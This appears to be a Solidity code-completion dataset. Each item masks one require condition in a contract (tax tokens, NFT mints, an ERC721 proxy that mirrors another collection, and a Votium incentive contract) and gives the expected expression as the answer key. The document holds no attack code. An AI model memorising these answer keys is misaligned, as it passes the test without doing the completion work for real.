address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouter02 is IUniswapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FRZWalletToken is ERC20, ERC20Burnable, Ownable {
using SafeMath for uint256;
address payable public marketingWallet = payable(0x81D4610351A7ADA54cb1d81Bbf99c3A2A3971e8F); // Marketing wallet address
address public dev = 0x57Ee8CcC427233871C79235be300C1f01bF2284A; // Dev wallet address
address public liqWallet = 0xb6e7BDD01c02F900e22b18796683Dce2c1Cae7f8; // Liquidty wallet address
address private initialOwner = 0xb6e7BDD01c02F900e22b18796683Dce2c1Cae7f8; // Initial Owner address
IERC20 public WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); // wrapped bitcoin address for rewards
IUniswapRouter02 public dexRouter;
address public dexPair;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 private minimumTokensBeforeSwap = 25*(10**8)*1e18; // 2,500,000,000
uint256 public marketingTax = 200; // 2% tax for Marketing
uint256 public liquidityTax = 200; // 2% tax for Liquidity
uint256 public rewardTax = 200; // 2% tax to reward
uint256 public totalTax = 600;
uint256 constant MAXIMUMSUPPLY = 500*(10**9)*1e18; // 500,000,000,000
uint256 public maxWalletAmount = 5*(10**9)*1e18; // 5,000,000,000
uint256 public rewardThreshold = 2*(10**9)*1e18; // 2,000,000,000
bool private isInternalTx;
bool public maxLimitDisabled; // Max TX and Max wallet Disabling
mapping (address => bool) public maxWalletWL; // whitelist from max Wallet limits
mapping (address => bool) public taxWL; // whitelist from tax
mapping (address => bool) public excludedFromReward;
mapping (address => uint256) private userIndex;
address[] public rewardUsers;
modifier onlyDev() {
}
modifier internalTX {
}
constructor()
ERC20("FRZ Wallet Token", "FWT")
Ownable(initialOwner)
{
}
receive() external payable {}
function _update(address from, address to, uint256 value) internal override {
}
function updateRewardUser(address user) internal {
}
function distributeReward() external onlyDev {
}
function totalRewardEligible() external view returns(uint256){
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyDev {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyDev {
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyDev {
}
function changePair(address newPairAddress) public onlyDev {
}
function updateRouter(address newRouterAddress) public onlyDev returns(address newPairAddress) {
}
function setTaxRate(uint256 _marketingTax , uint256 _rewardTax, uint256 _liquidityTax ) public onlyDev {
uint256 _totalTax = _marketingTax + _rewardTax + _liquidityTax ;
require(<FILL_ME>)
liquidityTax = _liquidityTax ;
marketingTax = _marketingTax ;
rewardTax = _rewardTax;
totalTax = _totalTax;
}
function setMarketingWallet(address _newMarketingWallet) public onlyDev {
}
function setLiqWallet(address _newLiqWallet) public onlyDev {
}
// Max wallet amount as a percentage
function setMaxWalletLimitPercents(uint256 maxWalletPercent) public onlyDev {
}
function setDev(address _dev) public onlyDev {
}
function setWhitelList(address _address , bool _taxWL , bool _maxWalletWL , bool _excludeFromReward) public onlyDev {
}
function disableLimits(bool _maxLStatus ) public onlyDev {
}
function swapAndLiquify(uint256 tAmount) private internalTX {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapEthForWbtc(uint256 ethAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address from, uint256 amount) internal internalTX returns (uint256) {
}
//Use this in case ETH are sent to the contract by mistake
function rescueETH() external onlyDev{
}
function ethTransfer(address to, uint256 amount) private {
}
function rescueAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) external onlyDev {
}
}
| (_totalTax<=2000),"max allowed tax 20%" | 81,171 | (_totalTax<=2000) |
"EXCEEDS_COLLECTION_SIZE" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721A.sol";
contract TGAI is ERC721A, Ownable {
using Strings for uint256;
address private _revenueRecipient;
address public manager;
string private _baseUri;
uint public airdropped = 0;
bool public saleActive = false;
uint public constant COLLECTION_SIZE = 1111;
uint public constant AIRDROP_LIMIT = 10;
uint public price;
constructor(
address owner,
address manager_,
address revenueRecipient_,
uint _price,
string memory baseUri_
)
ERC721A("TGAI", "TGAI")
{
}
modifier onlyManagers(){
}
function clearManager() external onlyManagers {
}
function setRevenueRecipient(address revenueRecipient) external onlyManagers {
}
function setSalePrice(uint _price) external onlyManagers {
}
/// @notice collection owner has the option to airdrop a number of tokens up to defined limit
function airdrop(address to, uint quantity) external onlyManagers {
require(<FILL_ME>)
require(airdropped + quantity <= AIRDROP_LIMIT, "EXCEEDS_AIRDROP_LIMIT");
airdropped = airdropped + quantity;
_safeMint(to, quantity);
}
function setSaleActive(bool _active) external onlyManagers {
}
function setBaseURI(string memory baseUri) external onlyManagers {
}
/// @dev override base uri. It will be combined with token ID
function _baseURI() internal view override returns (string memory) {
}
/// @notice Withdraw's contract's balance to the withdrawal address
function withdraw() public {
}
function mint(uint quantity) external payable {
}
function mintTo(address _address, uint quantity) public payable {
}
function tokenURI(uint256 id) public view override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) {
}
}
| totalSupply()+quantity<=COLLECTION_SIZE,"EXCEEDS_COLLECTION_SIZE" | 81,279 | totalSupply()+quantity<=COLLECTION_SIZE |
"EXCEEDS_AIRDROP_LIMIT" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721A.sol";
contract TGAI is ERC721A, Ownable {
using Strings for uint256;
address private _revenueRecipient;
address public manager;
string private _baseUri;
uint public airdropped = 0;
bool public saleActive = false;
uint public constant COLLECTION_SIZE = 1111;
uint public constant AIRDROP_LIMIT = 10;
uint public price;
constructor(
address owner,
address manager_,
address revenueRecipient_,
uint _price,
string memory baseUri_
)
ERC721A("TGAI", "TGAI")
{
}
modifier onlyManagers(){
}
function clearManager() external onlyManagers {
}
function setRevenueRecipient(address revenueRecipient) external onlyManagers {
}
function setSalePrice(uint _price) external onlyManagers {
}
/// @notice collection owner has the option to airdrop a number of tokens up to defined limit
function airdrop(address to, uint quantity) external onlyManagers {
require(totalSupply() + quantity <= COLLECTION_SIZE, "EXCEEDS_COLLECTION_SIZE");
require(<FILL_ME>)
airdropped = airdropped + quantity;
_safeMint(to, quantity);
}
function setSaleActive(bool _active) external onlyManagers {
}
function setBaseURI(string memory baseUri) external onlyManagers {
}
/// @dev override base uri. It will be combined with token ID
function _baseURI() internal view override returns (string memory) {
}
/// @notice Withdraw's contract's balance to the withdrawal address
function withdraw() public {
}
function mint(uint quantity) external payable {
}
function mintTo(address _address, uint quantity) public payable {
}
function tokenURI(uint256 id) public view override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) {
}
}
| airdropped+quantity<=AIRDROP_LIMIT,"EXCEEDS_AIRDROP_LIMIT" | 81,279 | airdropped+quantity<=AIRDROP_LIMIT |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface vCollection {
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 index) external view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (address);
function tokenURI(uint256 tokenId) external view returns (string memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address);
function setApprovalForAll(address to, bool approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
contract Proxy is ERC721 {
//address payable private _owner;
//function sweep() public {
// _owner.transfer(address(this).balance);
//}
vCollection collection;
function hexStringToAddress(string memory s)
public
pure
returns (bytes memory)
{
bytes memory ss = bytes(s);
require(<FILL_ME>) // length must be even
bytes memory r = new bytes(ss.length / 2);
for (uint256 i = 0; i < ss.length / 2; ++i) {
r[i] = bytes1(
fromHexChar(uint8(ss[2 * i])) *
16 +
fromHexChar(uint8(ss[2 * i + 1]))
);
}
return r;
}
function fromHexChar(uint8 c) public pure returns (uint8) {
}
function toAddress(string memory s) public pure returns (address) {
}
constructor(string memory _name/*, address payable owner*/)
ERC721(
vCollection(toAddress(_name)).name(),
vCollection(toAddress(_name)).symbol()
)
{
}
function mint(uint256 tokenId) public payable {
}
function name() public view override returns (string memory) {
}
function symbol() public view override returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function tokenByIndex(uint256 index) public view returns (address) {
}
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
returns (address)
{
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function balanceOf(address owner) public view override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
}
function setApprovalForAll(address to, bool approved) public override {
}
function isApprovedForAll(address owner, address to)
public
view
override
returns (bool)
{
}
}
| ss.length%2==0 | 81,314 | ss.length%2==0 |
"You don't own the NFT." | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface vCollection {
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 index) external view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (address);
function tokenURI(uint256 tokenId) external view returns (string memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address);
function setApprovalForAll(address to, bool approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
contract Proxy is ERC721 {
//address payable private _owner;
//function sweep() public {
// _owner.transfer(address(this).balance);
//}
vCollection collection;
function hexStringToAddress(string memory s)
public
pure
returns (bytes memory)
{
}
function fromHexChar(uint8 c) public pure returns (uint8) {
}
function toAddress(string memory s) public pure returns (address) {
}
constructor(string memory _name/*, address payable owner*/)
ERC721(
vCollection(toAddress(_name)).name(),
vCollection(toAddress(_name)).symbol()
)
{
}
function mint(uint256 tokenId) public payable {
//require(msg.value == 0.001 ether);
require(<FILL_ME>)
emit Transfer(address(0), msg.sender, tokenId);
}
function name() public view override returns (string memory) {
}
function symbol() public view override returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function tokenByIndex(uint256 index) public view returns (address) {
}
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
returns (address)
{
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function balanceOf(address owner) public view override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
}
function setApprovalForAll(address to, bool approved) public override {
}
function isApprovedForAll(address owner, address to)
public
view
override
returns (bool)
{
}
}
| collection.ownerOf(tokenId)==msg.sender,"You don't own the NFT." | 81,314 | collection.ownerOf(tokenId)==msg.sender |
"Supply reached" | pragma solidity ^0.8.7;
contract NamePalmDrawing is ERC721A, Ownable{
using SafeMath for uint256;
uint public maxPerTransactionForFreeMint = 1;
uint public maxPerTransaction = 20;
uint public supplyLimit = 1000;
bool public publicSaleActive = false;
string public baseURI;
uint256 public tokenPrice = .004 ether;
constructor(string memory name, string memory symbol, string memory baseURIinput)
ERC721A(name, symbol)
{
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata newBaseUri) external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function mint(uint256 _quantity) external payable{
require(_quantity <= maxPerTransaction, "Over max per transaction! Limit is 20 per transaction.");
require(publicSaleActive == true, "Not Yet Active.");
require(<FILL_ME>)
require(msg.value >= (tokenPrice * _quantity), "Insufficient funds");
_safeMint(msg.sender, _quantity);
}
function freeMint(uint256 _quantity) external{
}
function withdraw() public onlyOwner {
}
}
| (totalSupply()+_quantity)<=supplyLimit,"Supply reached" | 81,317 | (totalSupply()+_quantity)<=supplyLimit |
"Insufficient funds" | pragma solidity ^0.8.7;
contract NamePalmDrawing is ERC721A, Ownable{
using SafeMath for uint256;
uint public maxPerTransactionForFreeMint = 1;
uint public maxPerTransaction = 20;
uint public supplyLimit = 1000;
bool public publicSaleActive = false;
string public baseURI;
uint256 public tokenPrice = .004 ether;
constructor(string memory name, string memory symbol, string memory baseURIinput)
ERC721A(name, symbol)
{
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata newBaseUri) external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function mint(uint256 _quantity) external payable{
require(_quantity <= maxPerTransaction, "Over max per transaction! Limit is 20 per transaction.");
require(publicSaleActive == true, "Not Yet Active.");
require((totalSupply() + _quantity) <= supplyLimit, "Supply reached");
require(<FILL_ME>)
_safeMint(msg.sender, _quantity);
}
function freeMint(uint256 _quantity) external{
}
function withdraw() public onlyOwner {
}
}
| msg.value>=(tokenPrice*_quantity),"Insufficient funds" | 81,317 | msg.value>=(tokenPrice*_quantity) |
"Per wallet free limit reached! (Limit = 1 token)" | pragma solidity ^0.8.7;
contract NamePalmDrawing is ERC721A, Ownable{
using SafeMath for uint256;
uint public maxPerTransactionForFreeMint = 1;
uint public maxPerTransaction = 20;
uint public supplyLimit = 1000;
bool public publicSaleActive = false;
string public baseURI;
uint256 public tokenPrice = .004 ether;
constructor(string memory name, string memory symbol, string memory baseURIinput)
ERC721A(name, symbol)
{
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata newBaseUri) external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function mint(uint256 _quantity) external payable{
}
function freeMint(uint256 _quantity) external{
require(_quantity <= maxPerTransactionForFreeMint, "Over max per transaction! Free mint is limited to 1 tokens per transaction.");
require(publicSaleActive == true, "Not Yet Active.");
require((totalSupply() + _quantity) <= supplyLimit, "Supply reached");
require(<FILL_ME>)
_safeMint(msg.sender, _quantity);
}
function withdraw() public onlyOwner {
}
}
| this.balanceOf(msg.sender)+_quantity<=1,"Per wallet free limit reached! (Limit = 1 token)" | 81,317 | this.balanceOf(msg.sender)+_quantity<=1 |
"Roundtrip too high" | /**
*Submitted for verification at Etherscan.io on 2023-10-13
*/
//SPDX-License-Identifier: MIT
/*
https://t.me/vitruvianpepe
*/
pragma solidity 0.8.21;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract Pepesonicobamainu is IERC20, Auth {
string private constant _symbol = "Pepesonicobamainu";
string private constant _name = "PEPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100_000_000000 * (10**_decimals);
address payable private _marketingWallet = payable(0xe6592bFbE410d83B9A8B88340c0D1713A80D5085);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 1;
uint8 private _buyTaxrate = 1;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 89 / 100000;
uint256 private _swapTrigger = 20 * (10**15);
uint256 private _swapLimits = _swapMin * 65 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function enableTrading() external onlyOwner {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private view returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
require(<FILL_ME>)
_buyTaxrate = buyFees;
_sellTaxrate = sellFees;
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendAllEth) external onlyOwner lockTaxSwap {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
// function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| buyFees+sellFees<=1,"Roundtrip too high" | 81,512 | buyFees+sellFees<=1 |
"!depositor" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
require(
_maxPerVote != incentives[_round][_gauge][_incentive].maxPerVote ||
_increase > 0,
"!change"
);
require(_round >= activeRound(), "!deadline");
require(<FILL_ME>)
if (_maxPerVote > 0) {
require(
_maxPerVote >=
incentives[_round][_gauge][_incentive].maxPerVote,
"!increaseOnly"
);
require(
incentives[_round][_gauge][_incentive].maxPerVote != 0,
"!increaseOnly"
);
}
if (_maxPerVote != incentives[_round][_gauge][_incentive].maxPerVote) {
incentives[_round][_gauge][_incentive].maxPerVote = _maxPerVote;
}
uint256 rewardIncrease;
if (_increase > 0) {
_takeDeposit(
incentives[_round][_gauge][_incentive].token,
_increase
);
rewardIncrease =
_increase -
((_increase * platformFee) / DENOMINATOR);
incentives[_round][_gauge][_incentive].amount += rewardIncrease;
virtualBalance[
incentives[_round][_gauge][_incentive].token
] += rewardIncrease;
}
emit IncreasedIncentive(
incentives[_round][_gauge][_incentive].token,
incentives[_round][_gauge][_incentive].amount,
rewardIncrease,
_round,
_gauge,
_maxPerVote
);
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
